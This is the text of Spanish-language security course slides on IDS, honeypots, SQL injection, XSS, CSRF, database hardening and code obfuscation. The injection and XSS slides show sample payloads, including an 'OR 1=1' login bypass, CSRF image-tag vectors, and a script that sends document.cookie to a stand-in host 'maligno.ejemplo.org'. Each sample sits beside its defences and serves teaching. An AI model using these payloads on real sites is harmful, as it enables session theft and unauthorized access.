• Los IDS definen reglas de advertencia muy
similar a las reglas de prevención de un IPS.
Aquí la semántica cambia dado que si se
cumplen dichas reglas se trata de un “ataque”.
• Ya existen base de datos con firmas que
contienen la caracterización de ataques
comunes a servicios generales.
Honeywall
• La detección de intrusos puede ser mejorada a
través de máquinas denominadas señuelo o
bastión que permiten proteger los demás
activos de información entreteniendo al
atacante.
• Cuando se trata de un host individual se le
llama honeypot y cuando se habla de un
conjunto de máquinas recibe el nombre de
honeynet.
Honeywall
• Tener máquinas de carnada tiene un costo alto
que pagar. Formalmente los honeywall son
equipos simulados que permiten garantizar una
protección adicional.
• Últimamente se han vuelto populares por el uso
masivo de virtualización en todos los entornos.
• El software existente cada vez es más sencillo
de manejar.
Honeywall
• Pocas empresas garantizan este nivel de
seguridad. Generalmente se enfocan a IPS
después a IDS y hasta al último estas
soluciones.
• El equipo o red atacada debe de ser
monitorizada constantemente para tomar
acciones de defensa.
• Algunas implementaciones son:
honeycomb, sebek entre otras.
honeyd,
Seguridad en Internet
• El acceso a redes externas y públicas como
Internet hace que la comunicación sea aun más
insegura.
• Se deben tomar las mismas precauciones que
en la red local sólo se debe de considerar que
servicios se proveen y como es que deben de
ser provistos.
Inyección de código SQL
• Es un ejemplo claro tanto de seguridad en
Internet (Web), seguridad en el desarrollo de
aplicaciones (lenguajes dinámicos en el lado
del servidor como PHP, JSP, ASP) y bases de
datos (como mysql y SQL Server).
• Estos tipos de ataques se deben a algunas de
las bondades de SQL: ejecución de varios
comandos en una sola instrucción, embeber
comentarios, realizar consultas de metadatos y
shellscripts.
Inyección de código SQL
• Estos ataques se derivan de validaciones
incorrectas de datos de un formulario que
sirven de punto de entrada para los scripts
dinámicos de consultas de datos.
• Por ejemplo la instrucción: SELECT * FROM
login WHERE usuario’=fulantio’ OR ‘1’=‘1’ -AND password=‘’;
• Es correcta. Pudiendo entrar a un sistema o
bien mostrando datos.
Inyección de SQL
• ¿Cómo se pueden securizar las aplicaciones
Web que manejan consultas a bases de datos?
• Validar datos del usuario: entre menos escriba
mejor.
• No utilizar sentencias SQL construidas
dinámicamente (manejar consultas preparadas
-Preparament Statement-)
Inyección de SQL
• No utilizar cuentas de usuarios privilegiados.
• No proporcionar mayor información que la
necesaria.
• Al momento de validar campos
caracteres como comillas sencillas.
eliminar
Seguridad en WebApps
Aplicación
Validación de Entradas
Autenticación
Autorización
Gestión de Configuración
Datos Sensibles
Gestión de Sesiones
Criptografía
Manipulación de Parámetros
Gestión de Excepciones
Auditoría y Logging
Red
Servidor
Web
Firewall
Firewall
Router
Firewall
Switch
Servidor de
Aplicaciones
Servidor
de BD
Servidor
Parches
Servicios
Protocolos
Cuentas
Archivos y
Directorios
Compartidos
Puertos
Registro
Auditoría y Logging
XSS
• XSS
(Cross
Site
Scripting)
es
una
vulnerabilidad que permite al hacker ejecutar
código script en un cliente web.
• Dos entradas principales:
– Contempladas (foros, emails, librerías…)
– Ocultas (querystring, campos HTML…)
• Impactos:
– Modificación del contenido
– Envío de información
– Robo de sesión
XSS
• Tipos de XSS:
• Nivel 0 Local ó basada en DOM: Un script local
accede a parámetros request de la URL y los
utiliza para construir código script.
• Nivel 1 No Persistente ó Reflejada:
• Se utilizan los datos de entrada de formularios
para construir scripts, permitiendo la inyección
de código.
XSS
• Nivel 2 Persistente ó Segundo Orden
• Es la más poderosa. Los datos se almacenan
en una bd y posteriormente se muestran a los
usuarios, inyectando el código continuamente.
• Tampering: cambio de valores en parámetros
ocultos para realizar un ataque al sistema.
XSS
• Ejemplo de XSS Nivel 0:
•
•
•
•
Link Original:
www.example.com/login.aspx?user=angel
Link Malicioso:
www.example.com/login.aspx?user=<script>ale
rt(‘sorpresa')</script>
XSS
• Aparentemente esto no es perjudicial (no pasa
de ser una broma), que pasaría si:
• <script>
• document.location
=
'http://maligno.ejemplo.org/roba_cookies.php?c
ookies=' + document.cookie
• </script>
• Otra variante de ataques es el CSRF
CSRF
• CSRF (Cross Site Reference Forgery) consiste
en hacer que una aplicación ejecute una acción
creyendo que la hizo un usuario. La
peligrosidad de este tipo de ataque es bastante
alta dado que permite el control de una sesión
de forma remota.
• Vectores de ataque comunes:
• <img src=http://www.ilike.com/backend?addSong=998822>
• <img src=http://foro.com/borrar.php?foro=1>
CSRF
• Soluciones:
– “clave” aleatoria, que solo es válida una vez.
– Se debe enviar en cada petición hecha.
– Se debe invalidar despues de usarse.
– Ejemplo:
http://hi5.com/friend/mail/deleteMail.do?msgId=1&senderId=
2&offset=0&timestamp=NONCE
• Mitos:
• Checar el “referrer” te protege de CSRF.
• Recibir info por POST te protege.
Seguridad en WebApps
• Reglas básicas:
• No confies en lo que lees.
• No confies en lo que vas a escribir.
• No confies en lo que quieres modificar.
Autenticación de usuarios
• Los usuarios deben de validarse por diversos
medios.
• La autenticación de los usuarios debe de
manejarse
preferentemente
de
forma
independiente de las aplicaciones y activos de
información.
• Más que autentificar usuarios se debe de
proteger los activos de información.
Seguridad en Bases de Datos.
Validación
• Los datos almacenados deben de poderse
asegurar de forma robusta ya que su contenido
es lo que generalmente da valor a las
organizaciones.
• Una parte importante del proceso de
aseguramiento de base de datos es el proceso
de validación, un gran porcentaje de errores
puede reducirse significativamente si se validan
las entradas.
Seguridad en BD
Datos de Entrada
Almacenamiento
Monitoreo
Control de Acceso
Datos de Salida
Seguridad en BD
Robo
Modificación de Datos
$50,000
$500.00
Desviación de Datos
Seguridad en BD
• Es importante definir permisos (ACL) a los
recursos.
• Cifrado
de
datos
(problema
almacenamiento de contraseñas).
del
• Existen ya algunas preguntas claves que se
pueden utilizar para indicar el grado de
seguridad que tiene algún activo de
información. A continuación se muestran
algunas de ellas para BD.
Seguridad en BD
• ¿Cuál es la plataforma sobre la que esta
construida la base de datos?
• ¿La base de datos brinda herramientas para la
seguridad de los datos?
• ¿El equipo (Humano) de trabajo posee los
conocimientos suficientes para encontrar
mecanismos alternos de seguridad?
Seguridad en BD
• ¿La base de datos trabaja en un entorno
multiusuario?
• ¿Qué personas del equipo deberían tener
acceso a la base de datos?
• ¿Todas las personas del equipo de trabajo
deberían tener acceso a la totalidad de los
datos de la base?
Seguridad en BD
• ¿La base de datos funciona en un entorno
distribuido?
• ¿La ubicación de los archivos de base de datos
es la adecuada?
• ¿Existen políticas adecuadas
asignación de usuarios?
para
la
• ¿Existen políticas adecuadas para validar la
complejidad de las contraseñas?
Seguridad en BD
• ¿El personal técnico esta al tanto de las nuevas
modalidades ilegales de extracción de
conocimiento?
• ¿Se cuenta con un Firewall dentro de la red?
• ¿Se registra de manera permanente y
sistemática el acceso a los datos incluyendo la
persona, fecha y motivo de acceso?
Seguridad de los Datos
• ¿La información se captura de la manera
adecuada?
• ¿La información se captura en los tiempos
estipulados y/o adecuados?
• ¿El personal que captura los datos, es idóneo
para hacerlo?
• ¿Se realiza una precrítica de los datos
capturados?
Seguridad en los Datos
• ¿Qué información se debe publicar?
• ¿Quiénes deben publicar la información?
• ¿Se especifica si el dato publicado es parcial o
definitivo?
• En caso de existir un error en la captura del
dato, ¿Se repara inmediatamente?
Seguridad en los Datos
• ¿Se tiene especial cuidado con las normas de
ortografía para la captura del dato?
• ¿Existe documentación escrita sobre la
ubicación de cada una de las bases de datos
utilizadas?
• ¿Están adecuadamente configurados
perfiles de acceso a cada base de datos?
los
Seguridad en los Datos
• ¿Se realizan backups de la base de datos de
manera permanente y sistemática?
• ¿Existen protocolos para la realización de
backups?
• ¿Es claro para el personal técnico que
NINGUNA base de datos debe ser eliminada
de un recurso computacional antes de realizar
un backup sobre la misma?
Seguridad en BD
• En general los esquemas de modelo de BD no
incluyen el aspecto de seguridad.
SSN
Date
Function
Title
Name
Employee
(0,N)
Is
Assigned
to
(0,M)
Project
Subject
Dep
Client
Salary
SSN
Title
Fortificación de BD
• Principio de menor privilegio (creación de
vistas).
• Actualización constante de parches
• Eliminar
o
predeterminadas.
deshabilitar
cuentas
• Correr procesos del manejador de BD con
cuentas no privilegiadas.
Fortificación de BD
• Deshabilitar componentes no necesarios
• Utilizar procedimientos almacenados así como
disparadores.
• La ofuscación es una técnica avanzada de
refactorización que permite a un código
mantenerle obscuro (es decir no muy
legible) con diversos propósitos de
optimización.
• ¿Para que se hace ofuscación?
• ¿No viola esto el principio de claridad en la
implantación?
Ofuscación
• La ofuscación se realiza en muchas casos
para hacer un código ilegible, también en
muchos casos se puede reducir el tamaño
del código fuente y del código binario
realizado.
• Al realizar cualquier tipo de programa se
puede aplicar técnicas de reingeniería como
la ingeniería inversa para de un código
binario tratar de obtener su código fuente.
Ofuscación
• En mucho tipos de aplicaciones como las
aplicaciones móviles se ofusca el código
objeto generado para obtener un código
más pequeño.
• Un programa puede ser fácilmente
decompilable, por este motivo se ofusca
con la premisa de que si esto llegará
ocurrir, el que lo hiciera le costaría mucho
trabajo entender el programa y modificarlo.
Ofuscación
Ofuscación
• En el caso de programas ejecutables (.exe)
es mucho más difícil obtener un código en
lenguaje de alto nivel, dado que el proceso
de decompilación deja sus resultados en
ensamblador y por lo tanto es necesario
saber como el compilador ensambla cada
línea de código. Por este motivo muchas
empresas grandes del sector informático
realizan sus proyectos en sus propios
compiladores.
• Actualmente la ofuscación se emplea más
en la ofuscación de código dinámico, dado
que aquí es muy importante tanto el tamaño
del código como la legibilidad de este, tal es
el caso de HTML.
• La ofuscación si bien es cierto viola
principios de buena prácticas de Ing. de
Software, se realiza con un propósito
específico hasta el final del proceso.
Ofuscación
Ofuscación
• En algunos casos la ofuscación se logra
simplemente refactorizando el nombre de
las variables pero en muchos casos esto no
sirve.
• Para lograr la ofuscación se deberá
modificar el flujo del programa de tal forma
que menos instrucciones o en algunos
casos más instrucciones deben de realizar
el mismo programa.
• En algunos casos resulta que ofuscar el
código puede ser que el tamaño del código
fuente y del programa aumente, debido a
que es común que las variables tengan
nombres muy grandes o bien se incluyan
instrucciones extras, se descompongan
ciclos, se cambien y mapeen estructuras,
etc.
• Existen concursos de ofuscación de código
Ofuscación
Ofuscación
Referencias
• Morales, R. (2008) Curso de
Informática, SI040001, ITESM.
Seguridad
• González, H. (2008), Curso de Seguridad
Informática II, UNID Sede Morelia.
• Gómez, A. (2007). Enciclopedia de la
Seguridad Informática, Alfaomega, México,
ISBN: 978-970-15-1266-1.
Referencias
• McNab, C. (2004). Seguridad de Redes. Anaya
Multimedia O’Reilly, España, ISBN: 84-4151751-1
• Senft, S. And Gallegos, F. (2008) Information
Technology Control and Audit, Third Edition,
CRC Press, United States
Referencias
• Pressman, R. (2004). Ingeniería del Software
un Enfoque Práctico. Sexta Edición. McGraw
Hill.
• Myers, et al. (2004), “The Art of Software
Testing”, Wiley, Estados Unidos, 2004, ISBN:
0-471-46912-2
¿Preguntas?
Descargar

Clase modelo